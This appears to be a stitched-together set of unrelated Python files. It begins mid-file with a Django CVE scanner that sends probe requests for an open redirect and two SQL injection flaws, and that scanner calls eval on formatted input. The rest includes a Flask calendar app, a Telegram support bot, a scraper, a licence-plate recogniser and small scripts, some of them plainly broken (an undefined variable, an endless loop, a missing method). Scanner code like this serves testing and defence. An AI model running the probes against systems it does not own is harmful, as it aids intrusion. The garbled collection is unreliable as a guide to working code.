                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Method': vul_info['vul_method'],
                    'Payload': {
                        'Url': url,
                        'Path': path
                    }
                }
                return results

    def cve_2018_14574_scan(self, url):
        ''' 如果 django.middleware.common.CommonMiddleware和 APPEND_SLASH设置都已启用;
            如果项目的 URL 模式接受任何以斜杠结尾的路径, 则对该站点的恶意制作的 URL 的请求可能会导致重定向到另一个站点;
            从而启用网络钓鱼和其他攻击
        '''
        vul_info = {}
        vul_info['app_name'] = self.app_name
        vul_info['vul_type'] = 'Redirect'
        vul_info['vul_id'] = 'CVE-2018-14574'
        vul_info['vul_method'] = 'GET'
        vul_info['headers'] = {}

        # headers = self.headers.copy()
        # headers.update(vul_info['headers'])

        for payload in self.cve_2018_14574_payloads:
            path = payload['path']
            data = payload['data']
            target = url + path

            vul_info['path'] = path
            vul_info['data'] = data
            vul_info['target'] = target

            try:
                res = requests.get(
                    target,
                    timeout=self.timeout,
                    headers=self.headers,
                    data=data,
                    proxies=self.proxies,
                    verify=False,
                    allow_redirects=False
                )
                logger.logging(vul_info, res.status_code, res)                        # * LOG
            except requests.ConnectTimeout:
                logger.logging(vul_info, 'Timeout')
                return None
            except requests.ConnectionError:
                logger.logging(vul_info, 'Faild')
                return None
            except:
                logger.logging(vul_info, 'Error')
                return None

            if (('Location' in str(res.headers)) and ('//www.example.com/' in str(res.headers))):
                results = {
                    'Target': target,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Method': vul_info['vul_method'],
                    'Payload': {
                        'Url': url,
                        'Path': path
                    }
                }
                return results

    def cve_2020_9402_scan(self, url):
        ''' 该漏洞需要开发者使用JSONField/HStoreField, 可以控制查询集的字段名称;
            Django的内置应用程序 Django-Admin 受到影响  '''
        vul_info = {}
        vul_info['app_name'] = self.app_name
        vul_info['vul_type'] = 'SQLinject'
        vul_info['vul_id'] = 'CVE-2020-9402'
        vul_info['vul_method'] = 'GET'
        vul_info['headers'] = {}

        # headers = self.headers.copy()
        # headers.update(vul_info['headers'])

        for payload in self.cve_2020_9402_payloads:
            path = payload['path']
            data = payload['data']
            target = url + path

            vul_info['path'] = path
            vul_info['data'] = data
            vul_info['target'] = target

            try:
                res = requests.get(
                    target,
                    timeout=self.timeout,
                    headers=self.headers,
                    data=data,
                    proxies=self.proxies,
                    verify=False
                )
                logger.logging(vul_info, res.status_code, res)                        # * LOG
            except requests.ConnectTimeout:
                logger.logging(vul_info, 'Timeout')
                return None
            except requests.ConnectionError:
                logger.logging(vul_info, 'Faild')
                return None
            except:
                logger.logging(vul_info, 'Error')
                return None

            if (('DatabaseError' in res.text) and ('Request information' in res.text)):
                results = {
                    'Target': target,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Method': vul_info['vul_method'],
                    'Payload': {
                        'Url': url,
                        'Path': path
                    }
                }
                return results

    def cve_2021_35042_scan(self, url):
        ''' 函数 QuerySet.order_by 中的 SQL 注入漏洞;
            该漏洞需要开发者使用order_by函数, 而且可以控制查询集的输入
         '''
        vul_info = {}
        vul_info['app_name'] = self.app_name
        vul_info['vul_type'] = 'SQLinject'
        vul_info['vul_id'] = 'CVE-2021-35042'
        vul_info['vul_method'] = 'GET'
        vul_info['headers'] = {}

        # headers = self.headers.copy()
        # headers.update(vul_info['headers'])

        for payload in self.cve_2021_35042_payloads:
            path = payload['path']
            data = payload['data']
            target = url + path

            vul_info['path'] = path
            vul_info['data'] = data
            vul_info['target'] = target

            try:
                res = requests.get(
                    target,
                    timeout=self.timeout,
                    headers=self.headers,
                    data=data,
                    proxies=self.proxies,
                    verify=False
                )
                logger.logging(vul_info, res.status_code, res)                        # * LOG
            except requests.ConnectTimeout:
                logger.logging(vul_info, 'Timeout')
                return None
            except requests.ConnectionError:
                logger.logging(vul_info, 'Faild')
                return None
            except:
                logger.logging(vul_info, 'Error')
                return None

            if ((('OperationalError' in res.text) or ('DatabaseError' in res.text))
                and ('Request information' in res.text)):
                results = {
                    'Target': target,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Method': vul_info['vul_method'],
                    'Payload': {
                        'Url': url,
                        'Path': path
                    }
                }
                return results

    def addscan(self, url, vuln=None):
        if vuln:
            return eval('thread(target=self.{}_scan, url="{}")'.format(vuln, url))

        return [
            thread(target=self.cve_2017_12794_scan, url=url),
            thread(target=self.cve_2019_14234_scan, url=url),
            thread(target=self.cve_2018_14574_scan, url=url),
            thread(target=self.cve_2020_9402_scan, url=url),
            thread(target=self.cve_2021_35042_scan, url=url)
        ]

django = Django()


from app import app
from imports import *
from user import User
from helpers import get_flow, humanize
from remote import processed_data
import requests, pymongo

@app.route('/')
@login_required
def index_view():
  events = processed_data.find({'user_id': current_user.get('_id'), 'datetime': {'$gt': datetime.datetime.utcnow()}}).sort('datetime', pymongo.ASCENDING).limit(5)
  events = [{k:str(v) if k.endswith('_id') else v for k,v in event.iteritems()} for event in events]
  return render_template('index.html', events=events)

@app.route('/auth/go')
def login_signup_view():
  flow = get_flow()
  flow.params['access_type'] = 'offline'
  return redirect(flow.step1_get_authorize_url())

@app.route('/auth/callback')
def login_signup_callback_view():
  error = request.args.get('error')
  code = request.args.get('code')
  if not code:
    return error or 'error'
  credentials = get_flow().step2_exchange(code)
  credentials_object = json.loads(credentials.to_json())
  user_info = User.fetch_info(credentials)
  u = User(user_info['email'])
  if not u.check():
    u.create(credentials=credentials_object, **user_info)
  if u.get('disabled', False):
    u.update({'disabled': False, 'credentials': credentials_object})
  login_user(u, remember=True)
  return redirect(url_for('index_view'))

@app.route('/user/<int:pin>/calendars')
def user_calendars_view(pin):
  user = User.from_token(pin)
  if not user:
    return jsonify({'error': True, 'message': 'User not found'})
  return jsonify({'calendars': user.get_calendars()})

@app.route('/user/<int:pin>/calendar/events/<int:n>')
def user_calendar_events_view(pin, n):
  user = User.from_token(pin)
  if not user:
    return jsonify({'error': True, 'message': 'User not found'})
  events, page_token, sync_token = user.get_calendar_events(n, calendar_id=request.args.get('calendar_id', user.get_clarity_calendar()), page_token=request.args.get('page_token'), sync_token=request.args.get('sync_token'))
  return jsonify({'events': events, 'page_token': page_token, 'sync_token': sync_token})

@app.route('/user/<int:pin>/calendar/events/<event_id>/destroy', methods=['POST'])
def event_destroy_view(pin, event_id):
  user = User.from_token(pin)
  if not user:
    return jsonify({'error': True, 'message': 'User not found'})
  processed_data.remove({'event_id': event_id})
  try:
    user.destroy_calendar_event(event_id, calendar_id=request.args.get('calendar_id', user.get_clarity_calendar()))
    return jsonify({'status': 'ok'})
  except:
    return jsonify({'status': 'not found'})

@app.route('/events/create', methods=['POST'])
def events_create_view():
  event_ids = request.json['event_ids']
  field_excludes = ['_id', 'email_id', 'title', 'user_id', 'datetime', 'end', 'location', 'url', 'source', 'latitude', 'longitude', 'original_body']
  processed_event_ids = []
  events = []
  for event_id in event_ids:
    event_obj = processed_data.find_one({'_id': ObjectId(event_id)})
    user = User.from_id(event_obj['user_id'])
    event_obj_filtered = {k:v for k,v in event_obj.iteritems() if k not in field_excludes}
    description = "\n".join(["{}: {}".format(humanize(k), v) for k,v in event_obj_filtered.iteritems()])
    if event_obj.get('original_body'):
      description += "\n\nOriginal Email:\n" + event_obj.get('original_body')
    event = {
      'summary': event_obj['title'],
      'start': {
        'dateTime': event_obj['datetime'].isoformat("T"),
        'timeZone': user.get_timezone()
      },
      'end': {
        'dateTime': (event_obj.get('end',[None])[0] or event_obj['datetime'] + datetime.timedelta(hours=1)).isoformat("T"),
        'timeZone': user.get_timezone()
      },
      'description': description,
      'extendedProperties': {
        'shared': event_obj_filtered
      }
    }
    if event_obj.get('latitude') and event_obj.get('longitude'):
      event['location'] = event_obj.get('latitude') + "," + event_obj.get('longitude')
    elif event_obj.get('location'):
      event['location'] = event_obj.get('location')
    if event_obj.get('source') or event_obj.get('url'):
      event['source'] = {}
      event['source']['title'] = event_obj.get('source', event_obj['title'])
      event['source']['url'] = event_obj.get('url', url_for('index_view', _external=True))
    event_id = user.insert_calendar_event(event, calendar_id=user.get_clarity_calendar())
    user.tag_message(event_obj['email_id'], [os.getenv('TAG_NAME')])
    processed_event_ids.append(event_id)
    events.append(event)
    processed_data.update({'_id': event_obj['_id']}, {'$set': {'event_id': event_id}, '$unset': {'original_body': True}})
  return jsonify({'status': 'ok', 'ids': processed_event_ids, 'events': events})

@app.route('/user/distance')
def user_distance_view():
  GOOGLE_API_ROOT = 'https://maps.googleapis.com/maps/api/distancematrix/json'
  UBER_API_ROOT = 'https://api.uber.com/v1'

  origin = request.args.get('current_location')
  distances = {}
  destinations = request.args.get('destinations').split(';')
  for destination in destinations:
    distances[destination] = {}
    headers = {'Authorization': 'Token ' + os.getenv('UBER_API_KEY')}
    query = {
      'start_latitude': origin.split(',')[0],
      'start_longitude': origin.split(',')[1],
      'end_latitude': destination.split(',')[0],
      'end_longitude': destination.split(',')[1],
    }
    price_resp = requests.get(UBER_API_ROOT + '/estimates/price', params=query, headers=headers).json()
    for price in price_resp.get('prices', []):
      if price['display_name'] == 'uberX':
        distances[destination]['uber_price'] = price['estimate']
        break
    time_resp = requests.get(UBER_API_ROOT + '/estimates/time', params=query, headers=headers).json()
    for time in time_resp.get('times', []):
      if time['display_name'] == 'uberX':
        distances[destination]['uber_time'] = time['estimate']
        break

  parameters = {
    'origins': origin,
    'destinations': '|'.join(destinations),
    'key': os.getenv('GOOGLE_API_KEY')
  }
  for mode in ['driving', 'walking']:
    parameters.update({'mode': mode})
    resp = requests.get(GOOGLE_API_ROOT, params=parameters).json()
    if len(resp['rows']) == 0:
      return jsonify({'error': True, 'message': 'Request timed out'})
    for i,destination in enumerate(resp['rows'][0]['elements']):
      try:
        distances[destinations[i]][mode] = destination['duration']['text']
      except:
        distances[destinations[i]][mode] = "N/A"
  return jsonify(distances)


class primenumber:
    def prime(self,num):
        self.num=num
        for i in range(2,num):
            if(num%i==0):
                print("num is not a prime number")
            else:
                print("prime number")

p1=primenumber()
p1.prime(11)
p1.display()


#!/usr/bin/python

from google.cloud import vision
import rospy
import numpy as np
import cv2
from cv_bridge import CvBridge, CvBridgeError

def detect_text(msg):
    client = vision.ImageAnnotatorClient()
    bridge = CvBridge()

    image = bridge.imgmsg_to_cv2(msg)
    _, buf = cv2.imencode(".jpg", image)
    image_byte = buf.tobytes()

    image = vision.types.Image(content=image_byte)
    response = client.text_detection(image=image)
    texts = response.text_annotations

    rospy.loginfo("Texts:")
    for text in texts:
        rospy.loginfo("{}".format(text.description.encode("utf-8")))


import requests
from math import ceil
from bs4 import BeautifulSoup
from un_livre import (
    collecter_infos_livre, telecharger_image, DIR_IMAGES
)

def collecter_pages_categorie(url_categorie):
    """return a list of page url of a category """
    liste_pages_categorie = []
    response = requests.get(url_categorie)
    if response.ok:
        soup = BeautifulSoup(response.text, "html.parser")
        nbre_livres = soup.select_one("#default>div>div>div>div>form>strong:nth-child(2)").text
        nbre_pages = ceil(int(nbre_livres)/20)
        liste_pages_categorie = [url_categorie if i == 1 else
                                 url_categorie.replace("index.html", f"page-{i}.html") for i in range(1, nbre_pages+1)]
    return liste_pages_categorie

def collecter_livres_categorie(liste_pages_categorie):
    """ return a list of books by category """
    liste_livres = []
    infos_livre = ""
    url_livre = ""
    for une_url in liste_pages_categorie:
        response = requests.get(une_url)
        response.encoding = "utf8"
        if response.ok:
            soup = BeautifulSoup(response.text, "html.parser")
            liste_articles = soup.findAll("article")
            for i in range(1, len(liste_articles)+1):
                urlr = soup.select_one(f"#default>div>div>div>div>section>div:nth-child(2)> \
                ol>li:nth-child({i})>article>h3>a")['href'].strip("../../../")
                url_livre = "http://books.toscrape.com/catalogue/" + urlr
                infos_livre = collecter_infos_livre(url_livre)
                telecharger_image(infos_livre['image_url'], infos_livre['universal_ product_code'])
                infos_livre["image_url"] = DIR_IMAGES + "/" + infos_livre['universal_ product_code']+".jpeg"
                liste_livres.append(infos_livre)
    return liste_livres


def TraverseNode(currentnode, currentdone, currentpath = None, processcallback = None):
    if not currentdone:
        if currentpath != None:
            currentpath.append(currentnode.nodeName)
        # perform whatever action with the currentnode here
        if processcallback:
          processcallback(currentnode)
        firstchild = currentnode.firstChild
        if firstchild != None:
            return (firstchild, False)
        if currentpath != None:
            del currentpath[-1]
    nextsibling = currentnode.nextSibling
    if nextsibling != None:
        return (nextsibling, False)
    parent = node.parentNode
    if (parent != None) and (currentpath != None):
        # as long as parent exists, currentpath is not supposed to be []
        del currentpath[-1]
    return (parent, True)

def TraverseTree(startnode, startpath = []):
    currentnode = startnode
    currentdone = False
    currentpath = startpath
    while startnode != None:
        (currentnode, currentdone) = TraverseNode(currentnode, currentdone, currentpath)


from loader import dp, bot
from aiogram import types
from aiogram.dispatcher.filters.state import State, StatesGroup
from aiogram.dispatcher import FSMContext
from random import randint
from other.config import admin_channel_id
from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from other.bd_cfg import *
import datetime

def get_dates():
    return datetime.datetime.today().replace(microsecond=0)

create_theme_kb = InlineKeyboardMarkup()
create_theme_kb.add(InlineKeyboardButton(text="Создать обращение", callback_data="create_theme"))

class UserMsg(StatesGroup):
    req_theme_name = State()
    req_text = State()
    req_id = State()

@dp.message_handler(commands="con", state="*")
async def cmd_start(message: types.Message, state: FSMContext):
    get_user_status = get_userx(user_id=message.from_user.id)
    try:
        if get_user_status[2] == "0" or get_user_status[2] is None:
            await message.answer(f"Привет, {message.from_user.first_name},"
                                 f" чтобы создать обращение к администратору, нажми на кноку \"Создать обращение\"",
                                 reply_markup=create_theme_kb)
            get_user_id = get_userx(user_id=message.from_user.id)
            if get_user_id is None:
                add_userx(message.from_user.id, 0)
            else:
                await UserMsg.req_theme_name.set()
    except TypeError:
        await message.answer(
            f"Привет, {message.from_user.first_name},"
            f" чтобы создать обращение к администратору, нажми на кноку \"Создать обращение\"",
            reply_markup=create_theme_kb)
        get_user_id = get_userx(user_id=message.from_user.id)
        if get_user_id is None:
            add_userx(message.from_user.id, 0)
        else:
            await UserMsg.req_theme_name.set()

@dp.callback_query_handler(text="create_theme", state="*")
async def create_theme(call: types.CallbackQuery):
    get_user_status = get_userx(user_id=call.from_user.id)
    if get_user_status[2] == "0" or get_user_status[2] is None:
        await call.message.answer("Введите тему вашего обращения:")
        await UserMsg.req_theme_name.set()

@dp.message_handler(state=UserMsg.req_theme_name)
async def create_req_txt(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data['req_theme_name'] = message.text
    await message.answer("Введите текст обращения, чтобы прикрепить медиа файлы используйте ссылки с"
                         " этого сайта (регистрация не нужна) :")
    await UserMsg.req_text.set()

confirm_theme_kb = InlineKeyboardMarkup()
confirm_theme_kb.add(InlineKeyboardButton(text="Подтвердить отправку", callback_data="send_theme"))
confirm_theme_kb.add(InlineKeyboardButton(text="Отменить отправку", callback_data="cancel_theme"))

@dp.message_handler(state=UserMsg.req_text)
async def confirm_req(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data['req_text'] = message.text
    theme = data['req_theme_name']
    await message.answer(f"Ваше обращение будет выглядеть так:\n\n"
                         f"Тема: {theme}\n"
                         f"Сообщение:\n{message.text}")
    await message.answer(f"Подтвердить отправку данного обращения администратору?",
                         reply_markup=confirm_theme_kb)

def send_theme_2_adm(req_id):
    send_answer_theme = InlineKeyboardMarkup()
    send_answer_theme.add(InlineKeyboardButton(text="Работать с обращением", callback_data=f"send_req:{req_id}"))
    print(req_id)
    return send_answer_theme

@dp.callback_query_handler(text="send_theme", state="*")
async def send_req(call: types.CallbackQuery, state: FSMContext):
    req_id = randint(100000, 999999)
    async with state.proxy() as data:
        data['req_id'] = req_id
    theme = data['req_theme_name']
    text = data['req_text']
    user_id = call.from_user.id
    user_first_name = call.from_user.first_name
    await call.message.edit_text(f"Ваше обращение: {theme} // id{req_id} "
                                 f"было отправлено администратору, ожидайте ответа")
    msg = f"Новое обращение от: {user_first_name}\n\n" \
          f"Тема: {theme}\n\n" \
          f"Сообщение: {text}\n\n" \
          f"id{req_id} // {get_dates()}"
    await bot.send_message(chat_id=admin_channel_id, text=msg, reply_markup=send_theme_2_adm(req_id))
    add_requestx(user_id, user_first_name, theme, req_id, text, get_dates())
    await state.finish()

@dp.callback_query_handler(text="cancel_theme", state="*")
async def send_req(call: types.CallbackQuery):
    await call.message.edit_text("Можете попробовать создать обращение ещё раз", reply_markup=create_theme_kb)


pyg = 'ay'

original = input('Please enter a word: ')

if len(original) > 0 and original.isalpha():
    print(original)
else:
    print('empty')

word = original.lower()

first = word[0]

pyg_word = word[1:len(word)] + first + pyg

print(f'Now it is: {pyg_word}')


import argparse
import time
from pathlib import Path

import cv2
import torch
import torch.backends.cudnn as cudnn
from numpy import random
import random as rd
from models.experimental import attempt_load
from utils.datasets import LoadStreams, LoadImages
from utils.general import check_img_size, check_requirements, check_imshow, non_max_suppression, apply_classifier, \
    scale_coords, xyxy2xywh, strip_optimizer, set_logging, increment_path
from utils.plots import plot_one_box
from utils.torch_utils import select_device, load_classifier, time_synchronized
from termcolor import colored
import threading
import numpy as np
from tensorflow.keras.models import load_model
import math
# from google.colab.patches import cv2_imshow
from queue import Queue
# import pytesseract

class LicensePlate():

    def __init__(self, source = 'data/images/',
                 weights_lp = 'models_pre/lp_detect.pt', # License plate detect model
                 weights_lpr = 'models_pre/lpr_detect.pt', # character detect model
                 img_size = 480, imglpr_size = 96, name = 'exp',
                 project = 'runs/detect', device = '',
                 conf_thres = float(0.25), conf_thres01 = float(0.25),
                 iou_thres = float(0.45), save_txt = True,
                 view_img = False, save_conf = False,
                 classes = None, agnostic_nms = False,
                 augment = False, update = False, exist_ok = False,
                 save_img=False, nosave = True):
        self.source = source
        self.weights_lp = weights_lp
        self.weights_lpr = weights_lpr
        self.view_img = view_img
        self.save_txt = save_txt
        self.img_size = img_size
        self.imglpr_size = imglpr_size
        self.name = name
        self.project = project
        self.device = device
        self.conf_thres = conf_thres
        self.conf_thres01 = conf_thres01
        self.iou_thres = iou_thres
        self.exist_ok = exist_ok
        self.augment = augment
        self.classes = classes
        self.agnostic_nms = agnostic_nms
        self.save_conf = save_conf
        self.save_img=save_img
        self.update = update
        self.nosave = nosave
        self.img_plate = Queue()
        self.lst_number = Queue()
        self.plate_num = ''
        self.img_number = None

        self.model_char = load_model("models_pre/char_classifier.h5") # character classifier model

        t0 = time.time()
        #start Thread
        self.t1 = threading.Thread(name = "t1", target=self.detect_plate, args = ())
        self.t2 = threading.Thread(name = "t2", target=self.recognition, args = ())
        self.t3 = threading.Thread(name = "t3", target=self.read_char, args = ())

        self.t1.start()
        self.t2.start()
        self.t3.start()

        self.t1.join()
        self.t2.join()
        self.t3.join()
        print(f'Done. ({time.time() - t0:.3f}s)')
    def crop_lpr(self, xywh, im0):     #detect and crop character in plate
        width = im0.shape[1]
        height = im0.shape[0]
        x = xywh[0]
        y = xywh[1]
        w = xywh[2]
        h = xywh[3]
        xmin = int((x - w/2)*width)
        ymin = int((y - h/2)*height)
        xmax = int(xmin + (w*width))
        ymax = int(ymin + (h*height))

        cropped = im0[ymin-1:ymax+1, xmin-2:xmax+2]

        return cropped
    def crop_img(self, xywh, im0):     #detect and crop plate
        width = im0.shape[1]
        height = im0.shape[0]
        x = xywh[0]
        y = xywh[1]
        w = xywh[2]
        h = xywh[3]
        xmin = int((x - w/2)*width)
        ymin = int((y - h/2)*height)
        xmax = int(xmin + (w*width))
        ymax = int(ymin + (h*height))

        cropped = im0[ymin:ymax, xmin:xmax]

        return cropped
    def rotate_image(self, image):
        # lines = []
        h, w = image.shape[:2]

        img = cv2.medianBlur(image, 3)

        edges = cv2.Canny(img,  threshold1 = 30,  threshold2 = 100, apertureSize = 3, L2gradient = True)
        lines = cv2.HoughLinesP(edges, 1, math.pi/180, 30, minLineLength=w / 4.0, maxLineGap=h/4.0)
        angle = 0.0
        cnt = 0
        if lines is not None:
            for [x1, y1, x2, y2] in lines[0]:
                ang = np.arctan2(y2 - y1, x2 - x1)
                if math.fabs(ang) <= 30: # excluding extreme rotations
                    angle += ang
                    cnt += 1

            if cnt == 0:
                return 0.0
            angle = ((angle / cnt)*180/math.pi)
        if abs(angle) > float(30):
            pos = (True if angle < 0 else False)
            angle = 90 - abs(angle)
            angle = (angle*(-1) if pos else angle)

        image_center = tuple(np.array(image.shape[1::-1]) / 2)
        rot_mat = cv2.getRotationMatrix2D(image_center, angle, 1.0)
        result = cv2.warpAffine(image, rot_mat, image.shape[1::-1], flags=cv2.INTER_LINEAR)
        return result

    def letterbox(self, img, new_shape=(640, 640), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True, stride=32):
        # Resize and pad image while meeting stride-multiple constraints
        shape = img.shape[:2]  # current shape [height, width]
        if isinstance(new_shape, int):
            new_shape = (new_shape, new_shape)

        # Scale ratio (new / old)
        r = min(new_shape[0] / shape[0], new_shape[1] / shape[1])
        if not scaleup:  # only scale down, do not scale up (for better test mAP)
            r = min(r, 1.0)

        # Compute padding
        ratio = r, r  # width, height ratios
        new_unpad = int(round(shape[1] * r)), int(round(shape[0] * r))
        dw, dh = new_shape[1] - new_unpad[0], new_shape[0] - new_unpad[1]  # wh padding
        if auto:  # minimum rectangle
            dw, dh = np.mod(dw, stride), np.mod(dh, stride)  # wh padding
        elif scaleFill:  # stretch
            dw, dh = 0.0, 0.0
            new_unpad = (new_shape[1], new_shape[0])
            ratio = new_shape[1] / shape[1], new_shape[0] / shape[0]  # width, height ratios

        dw /= 2  # divide padding into 2 sides
        dh /= 2

        if shape[::-1] != new_unpad:  # resize
            img = cv2.resize(img, new_unpad, interpolation=cv2.INTER_LINEAR)
        top, bottom = int(round(dh - 0.1)), int(round(dh + 0.1))
        left, right = int(round(dw - 0.1)), int(round(dw + 0.1))
        img = cv2.copyMakeBorder(img, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color)  # add border
        return img, ratio, (dw, dh)
    def BGR_to_thr(self, img):
        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        gray = cv2.resize( gray, (28, 28), 0, 0,interpolation = cv2.INTER_CUBIC)

        ret, thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_OTSU | cv2.THRESH_BINARY_INV)
        roi = cv2.medianBlur(thresh, 3)
        return roi
    def read_char(self):
        char_list =  '0123456789ABCDEFGHKLMNPSTUVXYZ'
        while 1:
            plate_num = ''
            lst_number = self.lst_number.get()

            if lst_number is None:
                break
            else:
                print(len(lst_number))
                if (len(lst_number) >5):
                    for lpr in lst_number:
                        # x = image.img_to_array(img)
                        backtorgb = cv2.cvtColor(lpr,cv2.COLOR_GRAY2RGB)
                        x = np.array(backtorgb)
                        x = np.expand_dims(x, axis=0)

                        images = np.vstack([x])
                        classes = self.model_char.predict_classes(images)

                        lp = char_list[classes[0]]

                        plate_num += lp
                else:
                    plate_num += 'None'
            print(colored("\n Number Plate :", "red"), plate_num)
    def recognition(self):
        source, weights, view_img, save_txt, imgsz = self.source, self.weights_lpr, self.view_img, self.save_txt, self.imglpr_size
        webcam = source.isnumeric() or source.endswith('.txt') or source.lower().startswith(
            ('rtsp://', 'rtmp://', 'http://'))

        # Directories
        save_dir = Path(increment_path(Path(self.project) / self.name, exist_ok=self.exist_ok))  # increment run
        (save_dir / 'labels' if save_txt else save_dir).mkdir(parents=True, exist_ok=True)  # make dir

        # Initialize
        set_logging()
        device = select_device(self.device)
        half = device.type != 'cpu'  # half precision only supported on CUDA

        # Load modelim0s
        model = attempt_load(weights, map_location=device)  # load FP32 model
        stride = int(model.stride.max())  # model striderecognition
        imgsz = check_img_size(imgsz, s=stride)  # check img_size
        if half:
            model.half()  # to FP16

        # Second-stage classifier
        classify = False
        if classify:
            modelc = load_classifier(name='resnet101', n=2)  # initialize
            modelc.load_state_dict(torch.load('weights/resnet101.pt', map_location=device)['model']).to(device).eval()

        # Set Dataloader
        vid_path, vid_writer = None, None
        if webcam:
            view_img = check_imshow()
            cudnn.benchmark = True  # set True to speed up constant image size inference
            dataset = LoadStreams(source, img_size=imgsz, stride=stride)
        else:
            save_img = True
            dataset = LoadImages(source, img_size=imgsz, stride=stride)

        # Get names and colors
        names = model.module.names if hasattr(model, 'module') else model.names
        colors = [[random.randint(0, 255) for _ in range(3)] for _ in names]

        # Run inference
        if device.type != 'cpu':
            model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters())))  # run once
        t0 = time.time()
        while 1:
            detect_lp = self.img_plate.get()
            if (detect_lp is None):
                break
            for lp in detect_lp:
                lp = cv2.resize(lp, (190, 140), interpolation = cv2.INTER_CUBIC)

                # for path, img, im0s, vid_cap in dataset:
                img = self.letterbox(lp, 192, stride=32)[0]

                # Convert
                img = img[:, :, ::-1].transpose(2, 0, 1)  # BGR to RGB, to 3x416x416
                img = np.ascontiguousarray(img)

                img = torch.from_numpy(img).to(device)

                img = img.half() if half else img.float()  # uint8 to fp16/32

                img /= 255.0  # 0 - 255 to 0.0 - 1.0

                if img.ndimension() == 3:
                    img = img.unsqueeze(0)
                im0s = lp

                # Inference
                t1 = time_synchronized()
                pred = model(img, augment=self.augment)[0]

                # Apply NMS
                pred = non_max_suppression(pred, self.conf_thres01, self.iou_thres, classes=self.classes, agnostic=self.agnostic_nms)
                t2 = time_synchronized()

                # Apply Classifier
                if classify:
                    pred = apply_classifier(pred, modelc, img, im0s)

                # Process detections
                for i, det in enumerate(pred):  # detections per image
                    im0 = im0s
                    # det = det[det[:,3].sort()[1]]
                    lst = det.tolist()

                    sortt = sorted(lst, key = lambda x: x[1], reverse=True)
                    index = math.ceil(len(lst)/float(2))

                    sortt1 = sorted(sortt[:index], key = lambda x: x[3])
                    sortt2 = sorted(sortt[index:], key = lambda x: x[3])

                    det = torch.tensor(sortt1+sortt2)

                    gn = torch.tensor(im0.shape)[[1, 0, 1, 0]]  # normalization gain whwh

                    if len(det):
                        # Rescale boxes from img_size to im0 size
                        det[:, :4] = scale_coords(img.shape[2:], det[:, :4], im0.shape).round()

                        # Write results
                        lst_number = []
                        plate_num = ''
                        for *xyxy, conf, cls in reversed(det):

                            if (float(f' {conf:.2f}') > 0.5):
                                xywh = (xyxy2xywh(torch.tensor(xyxy).view(1, 4)) / gn).view(-1).tolist()  # normalized xywh

                                x = xywh[0]
                                y = xywh[1]
                                w = xywh[2]
                                h = xywh[3]
                                try:
                                    img_number = self.crop_lpr(xywh, im0)
                                    img_number = self.BGR_to_thr(img_number)
                                except:
                                    pass

                                lst_number.append(img_number)

                                label = f'. {conf:.2f}'
                                plot_one_box(xyxy, lp, label=label, color=colors[int(cls)], line_thickness=1)
                            else:
                                pass
                        self.lst_number.put(lst_number)

        self.lst_number.put(None)

    def detect_plate(self):
        source, weights, view_img, save_txt, imgsz = self.source, self.weights_lp, self.view_img, self.save_txt, self.img_size
        save_img = not self.nosave and not source.endswith('.txt')  # save inference images
        webcam = source.isnumeric() or source.endswith('.txt') or source.lower().startswith(
            ('rtsp://', 'rtmp://', 'http://'))

        # Directories
        save_dir = Path(increment_path(Path(self.project) / self.name, exist_ok=self.exist_ok))  # increment run
        (save_dir / 'labels' if save_txt else save_dir).mkdir(parents=True, exist_ok=True)  # make dir

        # Initialize
        set_logging()
        device = select_device(self.device)
        half = device.type != 'cpu'  # half precision only supported on CUDA

        # Load model
        model = attempt_load(weights, map_location=device)  # load FP32 model
        stride = int(model.stride.max())  # model stride
        imgsz = check_img_size(imgsz, s=stride)  # check img_size
        if half:
            model.half()  # to FP16

        # Second-stage classifier
        classify = False
        if classify:
            modelc = load_classifier(name='resnet101', n=2)  # initialize
            modelc.load_state_dict(torch.load('weights/resnet101.pt', map_location=device)['model']).to(device).eval()

        # Set Dataloader
        vid_path, vid_writer = None, None
        if webcam:
            view_img = check_imshow()
            cudnn.benchmark = True  # set True to speed up constant image size inference
            dataset = LoadStreams(source, img_size=imgsz, stride=stride)
        else:
            save_img = True
            dataset = LoadImages(source, img_size=imgsz, stride=stride)

        # Get names and colors
        names = model.module.names if hasattr(model, 'module') else model.names
        colors = [[random.randint(0, 255) for _ in range(3)] for _ in names]

        # Run inference
        if device.type != 'cpu':
            model(torch.zeros(1, 3, imgsz, imgsz).to(device).type_as(next(model.parameters())))  # run once
        t0 = time.time()
        for path, img, im0s, vid_cap in dataset:
            img = torch.from_numpy(img).to(device)
            img = img.half() if half else img.float()  # uint8 to fp16/32
            img /= 255.0  # 0 - 255 to 0.0 - 1.0
            if img.ndimension() == 3:
                img = img.unsqueeze(0)

            # Inference
            t1 = time_synchronized()
            pred = model(img, augment=self.augment)[0]

            # Apply NMS
            pred = non_max_suppression(pred, self.conf_thres, self.iou_thres, classes=self.classes, agnostic=self.agnostic_nms)
            t2 = time_synchronized()

            # Apply Classifier
            if classify:
                pred = apply_classifier(pred, modelc, img, im0s)

            # Process detections
            for i, det in enumerate(pred):  # detections per image
                if webcam:  # batch_size >= 1
                    p, s, im0, frame = path[i], '%g: ' % i, im0s[i].copy(), dataset.count
                else:
                    p, s, im0, frame = path, '', im0s, getattr(dataset, 'frame', 0)

                p = Path(p)  # to Path
                save_path = str(save_dir / p.name)  # img.jpg
                txt_path = str(save_dir / 'labels' / p.stem) + ('' if dataset.mode == 'image' else f'_{frame}')  # img.txt
                s += '%gx%g ' % img.shape[2:]  # print string
                gn = torch.tensor(im0.shape)[[1, 0, 1, 0]]  # normalization gain whwh
                if len(det):
                    # Rescale boxes from img_size to im0 size
                    det[:, :4] = scale_coords(img.shape[2:], det[:, :4], im0.shape).round()

                    # Print results
                    for c in det[:, -1].unique():
                        n = (det[:, -1] == c).sum()  # detections per class
                        s += f"{n} {names[int(c)]}{'s' * (n > 1)}, "  # add to string

                    # Write results
                    lst_plate = []
